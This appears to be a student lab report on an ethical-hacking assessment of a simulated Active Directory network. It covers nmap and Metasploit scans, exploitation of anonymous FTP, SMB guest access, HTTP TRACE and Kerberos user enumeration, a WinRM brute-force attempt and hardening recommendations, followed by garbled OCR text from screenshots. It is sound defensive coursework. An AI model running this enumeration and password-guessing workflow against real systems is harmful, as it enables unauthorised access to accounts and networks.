


Task 1 – Network Test
S-DC
Run the following commands and verify the outputs:
· IPCONFIG /ALL: Confirm the IP address matches the topology provided.
· Launched command Prompt -> “IPCONFIG /ALL”:
[image: S-DC: IPCONFIG /ALL]





· ping 192.168.1.10: Must be successful.
· From CMD, use the ping command: `ping xxx.xxx.xxx.xxx`. Result must return successful packages sent and retrieved:
[image: S-DC: ping 192.168.2.1 - SUCCESS]
· ping 192.168.2.1: Must be successful.
[image: S-DC: ping 192.168.2.10 - SUCCESS]
· ping 192.168.2.10: Must be successful.
[image: S-DC: ping 192.168.2.10 - SUCCESS]
L-CD
Run the following commands and verify the outputs:
· IP address: Confirm the IP address matches the topology provided.
· In linux we can use both `ifconfig` or `ip addr` to retrieve the IP Address of the machine
[image: L-CD: ip addr - 192.168.2.1]

· ping 192.168.1.10: Must be successful.
· Using the same ping command as in the windows environment, we can verify connections:
[image: L-CD: ping 192.168.1.10 - SUCCESS]
· ping 192.168.1.1: Must be successful.
[image: L-CD: ping 192.168.1.1 - SUCCESS]

· ping 192.168.2.10: Must be successful.
[image: L-CD: ping 192.168.2.10 - UNREACHABLE]
· 192.168.2.10 – unreachable. The Debian Server had a 169.254.x.x address, which is an APIPA (Automatic Private IP Address) assigned by the system itself as it couldn’t get a proper IP address, which deviated from the expected static address (192.168.2.10) defined in the topology. 
[image: Linux Client: APIPA address: 169.254.233.178

Restart networking service]
· Using the `sudo systemctl restart networking.service` we can force the machine to ask for a new DHCP lease. 
[image: Linux Client: network restarted, address: 192.168.2.10]
· The IP address was successfully reassigned to 192.168.2.10, restoring network connectivity. The ping command below confirms:
[image: L-CD: ping 192.168.2.10 - SUCCESS]
Task 2 – Network Security Assessment for SWANSEA.ACCA Network
2.1. Setup Security-focused Operating System of your choice
· Add (e.g.: Kali Linux) a security-focused OS to simulate assess and improve the security of
the network.
[image: Setting up Kali Linux 2019 - OS setup]
[image: Setting up Kali Linux 2019 - Hardware Setup]
[image: Setting up Kali Linux 2019 - VDI setup]
· Assign a network address of your choice to the Kali Linux system to represent internal access
in Swansea Network.
[image: Setting up Kali Linux 2019 - Network Setup - Assign IntSwa to Kali]

[image: Setting up Kali Linux 2019 - IP Address setup]
[image: Setting up Kali Linux 2019 - IP Address setup, static IP to 192.168.1.5]

· Connecting within Swansea Network should give you access to both Swansea and London
Network.

[image: Kali Network Setup - ping all VMs - SUCCESS]

A security-focused operating system, Kali Linux, was deployed to simulate an internal threat actor possessing legitimate network access. The system received an IP address within the Swansea subnet to represent an attacker acting post-compromise or as a malicious insider. From this vantage point, full layer-3 connectivity to both the Swansea and London networks was confirmed using ICMP testing.
2.2. Vulnerability Assessment
Assess the vulnerabilities for SWANSEA.ACCA Network (both Swansea and London)
· Gather Information (You are given the User Credentials of the Server’s and the Topology
Details). With this information, assess and gather information about different services, ports,
protocols used within the network (not limited to).

[image: Vulnerability assessment - db_nmap from metasploitable framwork on S-DC]
[image: Vulnerability assessment - db_nmap from metasploitable framwork on S-DC - part2]
[image: Vulnerability assessment - db_nmap from metasploitable framwork on L-CD]
[image: Vulnerability assessment - db_nmap from metasploitable framwork on Linux client]

During the vulnerability assessment phase, information regarding the SWANSEA.ACCA network infrastructure was collected to identify exposed services, open ports, and authentication mechanisms at both the Swansea and London sites. The assessment aimed to understand the configuration of networked systems and to determine whether any vulnerabilities could be exploited to gain unauthorized access, disclose sensitive information, or enable lateral movement within the domain.
· Assess the Vulnerabilities: Use Vulnerability Assessment Tools (Manual and Automated) to list out the vulnerabilities within the Network. Summarise the Vulnerabilities identified and categorise them as High, Medium and Low Severity. You are not expected to mitigate all the vulnerabilities. A minimum of 2 High Severity, 2 Medium Severity and 2 Low Severity need to be addressed and demonstrated
Based on the outcomes of both manual and automated assessment techniques, the identified vulnerabilities were categorised according to their potential impact, exploitability, and relevance within an Active Directory–based enterprise environment.
	Low Security Vulnerabilities
	· HTTP TRACE method enabled – Exposed the web server to potential Cross-Site Tracing (XST) attacks, particularly when combined with client-side vulnerabilities such as cross-site scripting.
· Unnecessary or outdated services exposed – Increased the overall attack surface and provided additional reconnaissance opportunities, despite no direct exploitation being observed.

	Medium Security Vulnerabilities
	· Anonymous FTP access – Allowed unauthorised users to enumerate directory structures and access publicly exposed files, presenting an information disclosure risk.
· WinRM exposed to credential-based attacks – Although no successful compromise was achieved, the service was accessible for online authentication attempts, increasing the risk of brute-force or password-spraying attacks.

	High Security Vulnerabilities
	· Kerberos user enumeration – Allowed identification of valid domain accounts without prior authentication, significantly increasing the effectiveness of credential-based attacks.
· SMB guest access enabled – Permitted unauthenticated access to internal network shares, resulting in information disclosure and increased risk of lateral movement.




Task 3 – Ethically Hacking SWANSEA.ACCA Network
3.1 Exploitation
The exploitation phase aimed to determine whether the identified vulnerabilities could be leveraged to gain unauthorized access, escalate privileges, or disclose sensitive information. In cases where exploitation attempts were unsuccessful, the effectiveness of existing defensive controls was recorded.
Anonymous FTP Login
[image: MSF - Anonymous FTP login explotation]
[image: MSF - Anonymous FTP login explotation - part 2]
SMB Exploitation (Guest Access)
[image: MSF - SMB exploitation (guest access)]
HTTP Trace Method
[image: MSF - HTTP Trace method exploitation]
Kerberos user enum
[image: MSF - Kerberos user enum exploitation]
[image: Grep successful users]
· Copy all tried combinations, paste into txt. Use cat with grep to easily filter present users
[image: Unzip MSF password file - brute-force attack]
· unzip password file
[image: Save successful users into file for brute-force]
· create users file with only existing users
[image: Use existing users with unzipped password files for brute-force]

3.2 Post-Exploitation
Following the exploitation phase, several post-exploitation activities were conducted to determine the extent of access obtained, identify any sensitive information exposed, and assess whether further compromise or escalation was possible. Where exploitation did not result in full system access, the limiting factors and defensive mechanisms encountered were documented.
1. Anonymous ftp login – post exploitation fidings
Following confirmation of successful anonymous access to the FTP service, post-exploitation activities concentrated on analysing the accessible directory structure and assessing the extent of potential data exposure.
The FTP server permitted read-only access, enabling directory traversal and inspection of publicly exposed files. No sensitive configuration files, credentials, or system information were identified. Write permissions were disabled, preventing file uploads or modifications. Despite the limited impact, this misconfiguration constitutes an information disclosure risk by exposing internal directory structures and file-naming conventions that may facilitate future attacks.
Extent of compromise:
Restricted read-only access. No privilege escalation paths available through FTP.
2. SMB GUEST ACCESS – POST-EXPLOITATION FINDINGS
Looking at the SMB shares, the ability to access them without a login revealed a wealth of internal resources that were not intended to be exposed. Guest access allowed for the mapping of internal directory structures, identification of user-generated files, and collection of environmental intelligence, but did not allow for any administrative shares or write permissions. A little bit of reading access could still, however, give away lots of metadata and internal routines that could be used in future attacks, and is basically all that's required for hackers to understand the patterns of the internal workings of the system. 
Extent of compromise:
Information disclosure only; no direct privilege escalation possible.
3. HTTP TRACE METHOD ENABLED – POST-EXPLOITATION FINDINGS
Extremely limited, it was just a matter of information leakage and couldn't be used to take over the system. Coming racing through the HTTP TRACE method on the web server showed that the server sends back all the headers that clients send to it, which makes it susceptible to something called Cross-Site Tracing. 
Although TRACE on its own won’t give the attacker access to the system, when combined with cross-site scripting, it could very well let them steal session cookies or login details of real users. 
Extent of compromise:
Indirect risk; exploitable only when chained with XSS. No direct access obtained.
4. KERBEROS USER ENUMERATION – POST-EXPLOITATION FINDINGS
Kerberos AS-REQ enumeration successfully revealed valid domain usernames. This information was then consolidated into a users.txt file for credential-based attacks.
The confirmed user list significantly strengthened later exploitation attempts, as brute-force attacks depend on valid usernames. The enumeration itself did not provide authentication tokens or privileged access, but it formed a critical reconnaissance stage that directly supported the WinRM login attempts.
Extent of compromise:
Successful enumeration of valid domain accounts, enabling informed credential-attack attempts.
5. WINRM BRUTE-FORCE ATTEMPT – POST-EXPLOITATION FINDINGS
When a valid domain username was found, an online brute-force attack was initiated to see if weak passwords could be used to get into the WinRM service, and it turns out that the service did allow authentication attempts but didn't shut them down. 
However, because every single authentication attempt requires a full handshake with the WinRM service, this really slows down the attack, and even with a relatively small password list, would take an age to get through. 
Well-known passwords weren't found, and the attack was ended not because it couldn't technically work, but because it's just not practical anymore. 
Too much time is wasted on sending the authentication requests over the network. 
The assessment revealed that no valid credentials were used, which indicates that the authentication process was basically a barrier to a successful attack.
Summary of Post-Exploitation Outcomes
Across all attack vectors, post-exploitation activities revealed varying degrees of impact:
· Successful but limited access: Anonymous FTP, SMB Guest Access, and HTTP TRACE allowed only low-level information disclosure.
· Successful intelligence gathering: Kerberos enumeration produced a usable set of valid domain usernames.
· Unsuccessful exploitation attempt: WinRM brute-force did not obtain credentials due to defensive controls.
These findings highlight both the weaknesses in service configurations and the effectiveness of some defensive measures within the SWANSEA.ACCA network.
Task 4: Network Security Measures for SWANSEA.ACCA Network
4.1 Preventive Security Measures
Based on the vulnerabilities identified during the assessment, the following security measures are recommended to reduce the attack surface of the SWANSEA.ACCA network. These controls represent industry best practice and outline how the identified risks should be mitigated in a production Active Directory environment.
1. Disable anonymous ftp access	
Anonymous FTP access should be disabled, when setting up your network. This will stop unauthorised users from being able to browse through your exposed directories, and restricting FTP access to only authenticated users will greatly reduce the risk of information being leaked and unauthorised files being accessed. 
Mitigated vulnerability: Anonymous FTP login.
2. remove smb guest access & enforce authentication
Coming dashing into the world of SMB, SMB guest access should be removed, and every single file share should require authentication to access. 
Get rid of any unnecessary shares and review the permissions so that they don't have any over-permissions. 
This takes care of the vulnerabilities in SMB guest access and unauthorised read access.
3. disable http trace method
Disabling the HTTP TRACE method is a must on web servers to prevent Cross-Site Tracing (XST) attacks, where hackers can reflect authentication headers, especially when combined with client-side problems such as cross-site scripting.
Mitigated vulnerability: HTTP TRACE enabled (potential for XST attacks).
4. implement kerberos hardening (pre-auth enforcement)
Kerberos pre-authentication needs to be turned on for all domain accounts so that we can't find out if a particular account exists just by sending an authentication request and need valid encryption keys before the domain controller says yes, the account is real. 
This is the solution to the Kerberos user enumeration problem.
5. strengthen winrm authentication controls
To stop people guessing passwords and getting into our remote management services, we'll limit WinRM access to admin accounts, and make sure the passwords are secure and changed regularly, also set up account lockouts to stop a brute-force attack from succeeding. 
This is how we close the door to the vulnerability in WinRM exposed to password-guessing attacks.
6. patch management and service hardening
Last, but not least, we'll put a systematic process in place for patching and hardening our services to make sure that all our systems are always up to date.
When it comes to an Active Directory-based enterprise network, it's a good idea to disable any unnecessary services, remove default system banners and bring out-of-date service versions up to date. 
This would make it much more difficult for hackers to exploit any weaknesses in the system.
7.  firewall and access control list (ACL) enhancements
Coming to the next point, firewall and Access Control Lists (ACLs) should be thoroughly reviewed and tightened to block access to high-risk services like SMB, FTP and WinRM, and limiting access to trusted internal networks, and sending any unauthorised incoming traffic straight back where it came from.
Segmenting the network would slow down the spread of malware and stop the bad guys from seeing where they are on the network.
The following measures will also cut down on SMB abuse, WinRM brute-force attacks and FTP exposures, and we can say that our network has been protected from those.
8. enable encryption for data in transit	
Where applicable, we can force the use of encrypted protocols like TLS and SSH for all our management and admin interfaces and prevent hackers from sniffing out our internal network communications.
This also knocks out the possibility of credential exposure and man-in-the-middle attacks.
9. network monitoring and logging using wireshark
The last piece of the jigsaw is putting in place a system that can monitor and log suspicious activity across the network, so that we can tell when something is amiss, which leads us to identifying potential patterns of attack. 
The toolset we can use includes packet capture and log analysis and will allow us to catch suspicious SMB traffic, repeated login failures, weird WinRM access attempts, abnormal broadcasts and unicast behaviour.
Well-known methods of attack like brute-force attacks, reconnaissance and SMB exploitation can be fended off if we put these measures in place.
Summary
Examining the security of an Active Directory-based enterprise network, a few well-placed configuration adjustments and policy enforcements can go a long way in tightening the security posture of the network. These measures.
Including configuration of access control and authentication policies, effectively kill off internal and external threats and underpin a defence-in-depth approach.

Final notes / conclusion
This assessment examined the security posture of the SWANSEA.ACCA network by evaluating its configuration, exposed services, and authentication mechanisms from both defensive and adversarial perspectives. The findings demonstrated how a combination of misconfigurations, unnecessary service exposure, and weak access controls can collectively increase the attack surface of an enterprise Active Directory environment.
While several of the identified vulnerabilities resulted primarily in information disclosure, others—particularly those affecting domain authentication and file-sharing services—had the potential to support more advanced attack chains if exploited in combination.
The exploitation and post-exploitation phases further highlighted how even limited access or reconnaissance capabilities can significantly enhance an attacker’s effectiveness.
The recommended security measures outlined in this report reflect industry best practices for reducing these risks through service hardening, access control enforcement, encryption, and improved monitoring. 
If implemented, these controls would significantly strengthen the network’s resilience against both internal and external threats, reinforcing the importance of a defence-in-depth approach to enterprise network security.

references
· NIST (2018) Framework for Improving Critical Infrastructure Cybersecurity. National Institute of Standards and Technology.
· Microsoft (2023) Kerberos Authentication Overview. Microsoft Learn.
· Microsoft (2023) Security considerations for SMB. Microsoft Learn.
· OWASP (2021) Cross-Site Tracing (XST). Open Web Application Security Project.
· MITRE (2023) ATT&CK Techniques: Credential Access. MITRE ATT&CK Framework.
image3.png
C: \Users Adainistraton PCOHFIG /ALL

dindors TP Configuration

st tane
Prinary Dns Suffix

Tiode Type . . .

1P Routing Ensbled,

WIS Proty Enabled.

ONS Suffix Search List. | | .

thernet adapter Internet:

Comection-specific DS Suffix
Description . . . . . . .
Prysical Address.

DHCP Enabled.
Autoconfiguration Erabled .
196 Address

Link-local T9v Address . . .
IPvd Address.

Subnet Hask

Lease Optained.

Lease bpires

Default Gatesy

04D Server .
DHPYG TATD

DHCPYS Client D,
NS Servers .

TELBIOS over Tep.
cthernet adapter Intic:

Comection-specific DS Suffix
Description
Prysical Addess.
DHCP Enabled.
Autoconiguration Ensbled .
Link-local 19v6 Address . . .
:\Users dninistraton
Subnet ask
Default Gatevay
DHCPYG AD . .
DHCPYG Client U,
OIS Servers . .

TEBIOS over Tepl.
thernet adapter External

Comection-specific DS Suffix
Description . . . . . . .
Prysical Address.

DHCP Enabled.
Autoconfiguration Erabled .
Link-local 19v6 Address

IPvs Address. .

Subnet Mask . |

Default Gatersy

DHCPYG TAD . .

DHCPYG Client U,

O8S Servers

NBEB10S over Tep.

:\Users\adninistraton>

s
Hybrid

"

3
wnt.local

wni.local

Intel(R) PRO/1698 T esitop Adapter
8-00-27-14-80-90

Yes

Yes

76256037125 27307 Preferved)
e e147:b674:2231:6284%7 Preferred)
16.0.2.15(Preferred)

255.255.055.0

5 Novenber 2625 08:52:01

06 Novenber 2625 68:52:01

P

10.0.2.2

10,022

tet167623
00-01-90.91-36-66-31-06-08-90-27-14-50-90
11

127,000

Enabled

Intel(R) PRO/1698 T Desitop Adapter 22
08-00-27-G8.57-84

o

Yes

e 610:23e:145:efedht3(Preferred)
192.168.1.1(Preferred)

25.255.055.0

166206487

08-01-0-01-30-66-31-96-08-09-27-14-80-90
1

17,001

Enabled

Intel(R) PRO/1698 T esitop Adapter #3
o8-00-27-6-€0-51

"o

Yes

B0 1332:8062:SsaL: eI Preferred)
20.0.0.1(Preferred)

265.255.255.05

185673783

00-01.96.01.30-66-31-96-08-00-27-14-80-90
1

192.168.1.1

Enabled

x

[
AOB b s B




image4.png




image5.png
~OBh e B




image6.png
A B g B




image7.png
T L-CD Running] - Oracle VirtualBox

LondonlogineL -C0: "5 ip addr
+ lo: LODPBACK, UP,LOER_UP> mtu 65535 qdlsc noqueus state UNKNORN group default alen 1000
Link/loopback 05:00:09:00:00:00 brd G9:00:00:00:00:00
inet 121.0.0.1/8 scope host lo
valid Lft forever preferred_Lft forever
inets /128 scope host nopref ixroute
valid_Ift forever preferred_Lft forever
: erposs: <BROADCASTMULTICAST, P LOWER UP> mtu 1500 adisc fo_codel state U° group default alen 1000
Link/ether 98:00:27:27:605c8 brd 1:71:#1:H15F7:(F
altnane enxeB00272768c3
dnets T T T /4 scope global dynanic mgtapaddr nopref ixroute
valid_Lft 8s367sec preferred_lit 14367sec
inete /g4 scope link
valid_Lft forever preferred_Lft forever
5: enpose: CBROADCAST, MULTICAST, UP,LOWER_UP> ity 1500 odisc fo_codel state U7 group default glen 1080
Link/ether 68:00:21:50:28:08 bR £1:7F:¢:F1:17:1F
altnane enxeB0027302805
inet 132.165.56.103/24 brd 192.169.56.255 scope global dynamic noprefixroute enpdss
valid_Lft S7osec preferred_Ift 495sec
inets oo -o-/64 scope Link
valig_Lft forever preferred_ft forever
: ergos: <BROADCAST,MULTICAST, P LOAER P> mtu 1500 disc fa.codel state UF group cefault alen 1060
Link/ether 98:00:57:07:6b381 brd 1:7f+1:045f1:f
altnane enxeB0ez7dT6081
Inet 20.9.0.2/30 brd 20.0.2.3 scope global enges3
valig_Lft forever preferred_Lft farever
ineté . 764 scope Link proto kernel Ll
valid_Lft forever preferred_Lft forever
enpasio: CBRORDCAST,MULTICAST,U, LOKER_UP> mtu 1500 qdisc fo_codel state Ur group default glen 1008
Link/ether o8:00:27:14:e:32 brd £1:17:¢F:F4:1¢:1f
altnane enx0B062714eda
inet 192.160.2.1/24 brd 192.169.2.255 scope global enpos1e
valid Ift forever preferred_Lft forever
inets oo 764 scope Link proto kernel L1
valig_Lft forever preferred_Lft forever

Londonloginel-Co:"s _





image8.png
P L-CD [Running] - Oracle VirtualBox - a X

ether 08:00:27:30:28:06 tugueuelen 1000 (Ethernet)

RK packets 3 bytes 1240 (1.2 Kif)

RK errors @ dropped 0 overruns 0 frame 6

TH packets 24 ytes 2330 (2.2 KiB)

Therrars o dropped 6 overrurs 0 careder 0 collisions 0

iods3: lags=4163<UP ,BROADCAST RUNNING, MULTICAST) ~ mtu 1500
Inet 20.8.0.2 netmask 255.295.295.252 broadcast 20.0.0.3
inet6 fesd::a00:271f:fedT:6081 prefixlen 64 scopeld exeacLink)
ether 08:00:27:7:60:81 tugueuelen 1000 (Ethernet)
RK packets 188 bytes 24430 (23.8 KiB)
RK errors @ dropped 0 overruns 0 frame 6
TH packets 46 bytes 3450 (3.3 KiB)
TH errars @ droped 6 overruns @ carrier @ collisions @

1nds16: f1ags=4163¢UP BROADCAST, RUNNING, MULTICAST) mtu 1500
Inet 192.168.2.1 netnask 255.255.255.0  broadcast 192.166.2.255
Inett feso: a00:2711 feldzedad prefixlen 64 scopeld oxeaclinky
ether 63:0 d:a2 txoueuelen 1000 (Ethernet)
RK packets 318 bytes 63430 (67.8 KiB)
RK errors @ dropped 0 overruns 0 frame 6
TH packets 37 bytes 2630 (2.5 KiB)
TH errars @ droped 6 overruns @ carrier @ collisions @

: f1ags=13¢UP,LOOPBACK RUNNING)  mtu 65536
Inet 127.0.6.1 netmask 255.0.0.0
Inete ::1 prefixlen 128 scopeid Bx10chosty
loop tuqueuelen 1000  (Local Loopback)
RK packets 82 bytes 6688 (6.5 KiB)
RK errors @ dropped 0 overruns 0 frame 6
TH packets 82 bytes 6688 (6.5 KiB)
TH errars @ droped 6 overruns @ carrier @ collisions @

ndanlogindL-CD:"$ ping 192.168.1.10

NG 192.168.1.10 (132.168.1.10) S6(84) bytes of data.

| bytes fron 132. 168, Icmp_seget t11=127 tine=3.80 ns

| bytes fron 132. 168, Icmp_seq=2 tt1=127 tine=2.08 ns

| bytes fron 132. 168, Icmp_seqe3 tt1=127 tine=d.11 s

| bytes fron 132. 168, Icmp_seq4 tt1=127 tine=3.1L s

| bytes fron 132. 168, Icmp_seqeS tt1=127 tine=2.87 s

| bytes fron 132. 168, Icmp_seqeb tt1=127 tine=6.88 ns

| bytes fron 132. 168, i ttl=127 tine=q.6 ns

64 bytes from 132.168.1.1¢ ttl=127 tine=d.00 s
| bytes fron 132. 168, icmp_se 27 tine=2.43 s

 bytes fron 152.168.1.10: icnp_seq=10 tt1=127 tines2.58 bs

- 152.168.1.18 ping statistics -
) packets transnitted, 10 received, 0% packet loss, tine 9153ns
't nin/avg/max/mdev = 2,075/3.649/6.879/1.335 ms

Jnﬂnnlnilnel S




image9.png
T L-CD Running] - Oracle VirtualBox - a X

ondonlogineL-CD:"s ping 192.168.1.1
ING 152.168.1.1 (152.168.1.1) 56(84) bytes of data.

4 butes fron 192.166.1.1: icnp_sea=1 tt1=127 tine=1.64 ms
4 butes fron 192.168.1. tt1=127 tine=1.28

4 butes fron 192.168.1.
4 bytes fron 192.168.1.
4 butes from 192.168.1.
4 butes from 132.168.1.
4 bytes fron 192.168.1.
©

it Sea=7 tt1=127 tine=1.86

“- 152.168.1.1 ping statistics -
 packets transnitted, 7 received, 0% packet loss, tine stens
44 min/ave/max/ndey = 1.263/2.143/4.985/1.174 s
ondonloginaL-CD: s





image10.png
T L-CD Running] - Oracle VirtualBox - a X

LondonlogingL-CD:"$ ping 192.168.2.10
PING 132.168.2.10 (192.168.2.10) 56(34) butes of data.
C

- 192.168.2.10 ping statistics ---
L1 packets {ransmitted, 0 received, 109% packet loss, tine 1024ns

LondonlogineL -co: s





image11.png
- nitheesh@nitheesh: -
Fie Actions Edit View Help

nitheeshenitheesh: ~

nitheeshenitheesh:-s 1p addr
1: To: <LOOPBACK,UP,LOMER_UP> mtu 63536 qdisc noqueue state UNKNOHN group default qlen 1000
Link/Loopback 0:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host 1o
valid1e forever preferred_ift forever
D VERD R (TR [t )
valid_Ift forever preferred ift forever
2: enpos3: <SROADCAST MULTICAST,DYNANIC,UP, LOWER_UP> mtu 1500 qdisc fq_codel state Up group default glen 100
Link/ether 08:00:27:38:13:89 brd FF.16. F:F 1.1
inet 10.0.2.15/24 brd 10.6.2.255 scope global dynanic enpos3
Valid_ift s6269sec preferred_1ft se269sec
inets fd17:625¢:1037:2:6217: ba7 7ele:312¢/64 scope global tenporary dynamic
valid_1ft s6272sec preferred_1ft 14272sec
inets fd17:625¢:1037:21200:27Ff e38:1389/64 scope global dynamic mngtmpaddr noprefixroute
valid_1ft 86272sec preferred_1ft 14272sec
inets fego::a00:2711: e38:1389/64 scope ink noprefixroute
validIte forever preferred Aft forever
3: enpos10: <BROADCAST,MULTICAST,DYNAMIC, UP, LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1600
Linkrether 08:00:27:4b:00:d0 brd fF:11:ff:(F:1:1f
inet 169.254.233.178/16 brd 169.254.255.255 scope global enpdsio
valid It forever preferred_ift forever
inets fego::a00:27ff:fedb:do/64 scope Link
PEaErfrosaverlrerarzelliriorater
nitheeshéntheesh:~s sudo systemctl restart networking. service
[sudo] password for nitheesh
nitheesheni theesh:~s
1 troz::2 ipe-allrouters 1ps-loopback  nitheesn
froz::1 ip6-allnodes  1p6-localhost localhost
Lbo———

A - % = LI ESiionEe
© 9 G @ Wi BTe) A3 MG Am 252

14/12/2025





image12.png
= nitheesh@nitheesh: - e
File Actions Edit View Help

nitheeshenitheesh: ~

nitheeshénitheesh:~$ sudo systemctl restart networking.service
[sudo] password for nitheesh
nitheeshenitheesh:~$ ip addr
1: lo: <LOOPBACK,UP,LONER_UP> mtu 65536 qdisc nogueue state UNKNOWN group default glen 1000
1ink/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_1ft forever
inet6 ::1/128 scope host noprefixroute
valid_1ft forever preferred_1ft forever
2: enpos3: <BROADCAST,MULTICAST,DYNAMIC,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:38:13:89 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.15/24 brd 10..2.255 scope global enpos3
valid_1ft forever preferred_1ft forever
3: enp@s10: <NO-CARRIER,BROADCAST,MULTICAST,DYNAMIC,UP> mtu 1500 qdisc fq_codel state DOWN group default qlen 1000
link/ether 08:00:27:4b:00:d0 brd ff:ff:ff:ff:ff:ff

inet 192.168.2.10/24 brd 192.168.2.255 scope global enposio
ValidIfe forever preferred A7t forever
nitheeshenitheesh:-$

| NESRAEER A )

® P
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T L-CD Running] - Oracle VirtualBox - a X

ondonlogineL-CD:"s ping 192.168.2.10
ING 152.168.2.10 (192.168.2.10) 56(34) butes of data.

4 butes fron icnp_Se=1 tt164 tine=3.od ms
4 butes fron icmp seq=2 ttl=6d tine=2.17 ms
4 butes fron s
4 bytes from 152.166.2.10: icnp_seq=d tt s
4 butes fron 192.168.2. 1 s
4 butes fron 132.168.2.10: s
©

-- 192.168.2.10 ping statistics -
- packets transnitted, 6 recelved, 0% packet loss, tine SeLTns
4t min/avg/max/ndey = 1.329/1.620/3.038/0.616 s
londonlogineL-CD:"s _.
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> Virtual machine name and operating system
> Set up unattended guest OS installation
> Specify virtual hardware
/ Specifyvirtual hard disk
O create a New Virtual Hard Disk
Hard Disk File Location and Size

EAVMs\VirtualBox\Kali LinuKali Linux.vdi v R
DiskSze T 200GB
400 MB 20078
Hard Disk File Type and Format.
VDI (VirtualBox Disk Image) ~ O pre-allocate Full size
O split Disk Into 2 GB Parts

O Use an Existing Virtual Hard Disk File

Kali Linux 2019.3 (64bit).vci (Normal, 500.00 GB) v R
O create virtual Machine Without a Virtual Hard Disk
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a

Fle  Machine  View  Input  Devices  Help

Terminal v Wed13:51 H = - B~

Applications > Places ~°

root@osboxes: ~/Desktop

File Edit Terminal Help
inet 192.168.1.52/24 brd 192.168.1.255 scope global dynamic noprefixroute eth3 Ethernet (eth0)
valid_1ft 691057sec preferred 1ft 691057sec
inet6 fe80::a00:27ff:fee5:5454/64 scope link noprefixroute
valid 1ft forever preferred 1ft forever
root@oshoxes: # systemctl restart network i

1000 Mbjs

Failed to restart network.service: Unit network.service not found. Ethernet (ethi)
root@oshoxes: # ip addr
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
ink/loopback 00:00:00:0 © brd 60
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever Ethernet (eth2
inet6 ::1/128 scope host
valid_Lft forever preferred lft forever
eth®: <BROADCAST,MULTICAST,UP,LOWER UP> mtu qdisc pfifo_fast state UP group default 1000 M
link/ether 08:00:27:e7:59:0F brd ff:ff:ff:ff:ff:ff
ethl: <BROADCAST,MULTICAST,UP,LOWER UP> mtu qdisc pfifo_fast state UP group default
link/ether 08:00:27:6c:38:b7 brd ff:f PR T
eth2: <BROADCAST,MULTICAST,UP,LOWER UP> mtu qdisc pfifo_fast state UP group default
link/ether 08:00:27:57:de:a3 brd ff:f FFFf nnected - 1000 Mby
eth3: <BROADCAST,MULTICAST,UP,LOWER UP> mtu qdisc pfifo_fast state UP group default
link/ether 08:00:27:€5:54:54 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.5/24 brd 192.168.1.255 scope global noprefixroute eth3
valid Lft forever preferred 1ft forever
inet6 fe80::a00:27ff:fee5:5454/64 scope link noprefixroute
valid_Lft forever preferred ft forever
root@osboxes : # ping 192.168.2.1
PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
64 bytes from 192.168.2.1: icmp_sed f
64 bytes from 192.168.2.1: icmp_seq=2 ttl=63 time=2.40
64 bytes from 192.168.2. X A Network Proxy
64 bytes from 192.168.
~C
--- 192.168.2.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 1.802/2.181/2.703/60.385 ms
root@oshoxes : 2 | ]

:00:00:00:00 1000 Mb/s

Ethernet (eth3)

&y )=l
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Places v [ Terminal Tue14:11 B s 76~

root@osboxe:

root@osboxes:~# ping 192.168.1.1

PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data
64 bytes from 192.168.1.1: icmp_seq=1 ttl=128

64 bytes from 192.168.1.1: icmp_seq=2 ttl=128

64 bytes from 192.168.1.1: icmp_seq=3 ttl=128

64 bytes from 192.168.1.1: icmp_seq=4 ttl=128

64 bytes from 192.168.1.1: icmp_seq=5 ttl=128

~c

--- 192.168.1.1 ping statistics --

5 packets transmitted, 5 received, 0% packet loss, time 4290ms
rtt min/avg/max/mdev = 1.166/1.732/2.341/0.495 ms
root@osboxes:~# ping 192.168.1.10

PING 192.168.1.10 (192.168.1.10) 56(84) bytes of data

64 bytes from 192.168.1.10: icmp_seq=1 ttl=128 .39 ms
64 bytes from 192.168.1.10: icmp_seq=2 ttl=128 .38 ms
64 bytes from 192.168.1.10: icmp_se .20 ms
64 bytes from 192.168.1.10: icmp_se .38 ms
64 bytes from 192.168.1.10: icmp_seq=5 ttl=128 .49 ms

~c

192.168.1.10 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4025ms
rtt min/avg/max/mdev = 1.380/2.167/3.380/0.721 ms
root@osboxes:~# ping 192.168.2.1

PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.

64 bytes from 192.168.2.1: icmp_seq=1 ttl=63 time=1.71 ms
64 bytes from 192.168.2.1: icmp_seq=2 ttl=63 time=3.15 ms
64 bytes from 192.168.2.1: icmp_seq=3 ttl=63
64 bytes from 192.168.2.1: icmp_seq=4 ttl=63
64 bytes from 192.168.2.1: icmp_seq=5 ttl=63

~c

192.168.2.1 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4023ms
rtt min/avg/max/mdev = 1.714/3.062/4.565/0.911 ms
root@osboxes:~# ping 192.168.2.10

PING 192.168.2.10 (192.168.2.10) 56(84) bytes of data.

64 bytes from 192.168.2.10: icmp_seq=1 ttl=62 .78 ms,

64 bytes from 192.168.2.10: icmp_seq=2 ttl=62 .61 ms,

64 bytes from 192.168.2.10: icmp_seq=3 ttl=62 13 ms

64 bytes from 192.168.2.10: icmp_seq=4 ttl=62 time=4.26 ms

64 bytes from 192.168.2.10: icmp_seq=5 ttl=62 time=5.51 ms

ag

--- 192.168.2.10 ping statistics --

NN N

5 packets transmitted, 5 received, 0% packet loss, time 4009ms
rtt min/avg/max/mdev = 3.783/5.056/6.128/0.885 ms
root@osboxes : ~#
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Applications > Places ~
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Machine  View Help

Tue14:23 w [l S vE~

Terminal

Terminal

_nmap -p 1-65535 -T4 -A -v 192.168.1.1
Starting Nmap 7.80 ( https://nmap.org ) at 2025-11-25 1.
NSE: Loaded 151 scripts for scanning

NSE: Script Pre-scanning

Initiating NSE at 14:17

Completed NSE at 14:17, 0.00s elapsed

Initiating NSE at 1.
